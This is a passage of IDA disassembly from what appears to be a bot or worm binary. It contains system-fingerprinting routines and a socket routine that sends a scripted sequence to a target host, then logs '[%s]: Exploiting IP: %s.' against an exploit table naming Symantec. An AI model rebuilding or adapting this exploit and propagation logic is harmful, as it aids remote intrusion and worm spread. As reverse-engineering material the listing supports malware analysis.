					; sub_41AE41+5Cj ...
		pop	esi


loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26A0000h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		call	near ptr 26F0582h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2690AADh
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2760000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2751507h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2870000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


